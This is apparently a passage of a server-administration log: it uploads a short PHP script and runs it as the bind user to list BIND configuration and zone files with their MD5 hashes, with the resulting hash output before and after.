MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:48:47: Establishing a connection
2026-04-23 17:48:47: 

PUT: /tmp/pkp559674

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:48:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp559674; rm /tmp/pkp559674'

2026-04-23 17:48:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
